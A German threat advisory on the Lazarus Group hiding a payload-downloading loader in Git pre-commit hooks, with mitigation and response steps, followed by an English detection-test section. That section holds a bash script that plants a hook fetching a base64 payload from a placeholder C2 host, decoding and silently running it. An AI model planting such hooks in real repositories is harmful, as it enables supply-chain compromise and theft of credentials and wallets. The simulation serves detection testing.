Lazarus-Gruppe nutzt Git Hooks zur Verschleierung von Malware: Die ansteckende Interview- und TaskJacker-Kampagne der DVRK verbirgt jetzt ihren Second-Stage-Loader in Git Hooks, die InvisibleFerret- und Beavertail-Malware herunterladen

Zusammenfassung

Die nordkoreanische Lazarus-Gruppe hat ihre Kampagne ‚Contagious Interview‘ und ‚TaskJacker‘ aktualisiert, indem sie einen Mechanismus zur Bereitstellung der zweiten Stufe in bösartigen Git pre-commit and post-checkout Hooks eingebettet hat. Diese Hooks rufen im Stillen plattformspezifische Nutzdaten von einem bei Vercel gehosteten URL ab und führen sie auf macOS-, Linux- und Windows-Systemen aus. Indem sie vertrauenswürdige Entwickler-Workflows und Repository-Tools missbrauchen, verwandeln die Angreifer Routine-Codierungsaufgaben in einen Vektor für Lieferkettenkompromittierungen, die zum Diebstahl von Anmeldeinformationen und der Kompromittierung von Kryptowährungs-Wallets führen können. Wichtige Indikatoren umfassen das bösartige .githooks/pre-commit Skript und die Infrastruktur, die unter precommit.vercel.app.

Untersuchung

OpenSourceMalware-Forscher identifizierten ein kompaktes .githooks/pre-commit Skript, das das Betriebssystem des Opfers erkennt und die entsprechende Nutzlast von precommit.vercel.app unter Verwendung von curl or wgetherunterlädt. Derselbe Skript-Hash erschien in mehreren GitHub-Repositorys, die als Codierungs-Bewertung-Projekte getarnt waren und mit Kryptowährungen und DeFi-Themen verbunden sind. Die Infrastruktur lieferte je nach Betriebssystem unterschiedliche Shell- oder Batch-Nutzdaten, die durch einen auf Flaggen basierenden Abfrageparameter gesteuert wurden. Forscher teilten auch GitHub-Codesuchanfragen, die verwendet werden können, um die Jagd zu reproduzieren und ähnliche Repositorys zu finden.

Minderung

Organisationen sollten Git-Repository-Hooks aufmerksam überprüfen, insbesondere Dateien unter .githooks, .husky, und .vscode/tasks.json, bevor sie ausgeführt werden dürfen. Entwickler sollten unzuverlässige Repositorys nur in isolierten Umgebungen klonen und testen, die keine SSH-Schlüssel, Wallet-Dateien oder aktive Browser-Profile enthalten. Die automatische Ausführung von Git-Hooks sollte dort, wo möglich, deaktiviert oder auf genehmigte Skripte beschränkt werden. Sicherheitsteams sollten auch den ausgehenden Datenverkehr zu precommit.vercel.app und ähnlichen Domains überwachen, die möglicherweise die Bereitstellung bösartiger Nutzdaten unterstützen.

Antwort

Verteidiger sollten die Netzkommunikation mit precommit.vercel.app blockieren und eine Datei-Integritätsüberwachung für unerwartete .githooks/pre-commit Dateien einrichten. Alarmmeldungen sollten auch ausgelöst werden, wenn curl or wget aus Git-Hook-bezogenen Prozessen ausgeführt wird. Potenziell exponierte Anmeldeinformationen, Token oder Kryptowährungs-Wallets sollten sofort untersucht und rotiert werden. Die Bedrohungsjagd sollte unter Verwendung der bereitgestellten Indikatoren erweitert werden, um betroffene Repositorys und alle Systeme zu identifizieren, die mit ihnen interagiert haben.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An operator from the Lazarus Group compromises a developer’s workstation and injects a malicious Git pre‑commit hook. The hook is placed in a hidden “.githooks” directory to avoid casual discovery. When any git commit is performed, the hook silently contacts a C2 server, downloads a base64‑encoded payload, writes it to /tmp/.payload, makes it executable, and runs it, thereby establishing a foothold (T1620) and executing an embedded malicious payload (T1027.009).

• Regression Test Script:

  #!/bin/bash
  # -------------------------------------------------
  # Lazarus‑style malicious Git pre‑commit hook test
  # -------------------------------------------------
  
  # 1. Create hidden .githooks directory
  mkdir -p "$HOME/.githooks"
  
  # 2. Write malicious pre‑commit hook
  cat > "$HOME/.githooks/pre-commit" <<'EOF'
  #!/bin/bash
  # Malicious pre‑commit hook – downloads and executes payload
  C2_URL="http://malicious.example.com/payload.b64"
  TMPFILE="/tmp/.payload"
  
  # Download base64 payload
  curl -s -o "$TMPFILE.b64" "$C2_URL"
  # Decode and set executable
  base64 -d "$TMPFILE.b64" > "$TMPFILE"
  chmod +x "$TMPFILE"
  # Execute payload silently
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Make the hook executable
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Simulate a git commit to fire the hook
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Initial commit" > /dev/null 2>&1
  
  echo "Malicious pre‑commit hook executed (if detection works, an alert should appear)."

• Cleanup Commands:

  #!/bin/bash
  # Remove malicious artifacts
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Cleanup complete."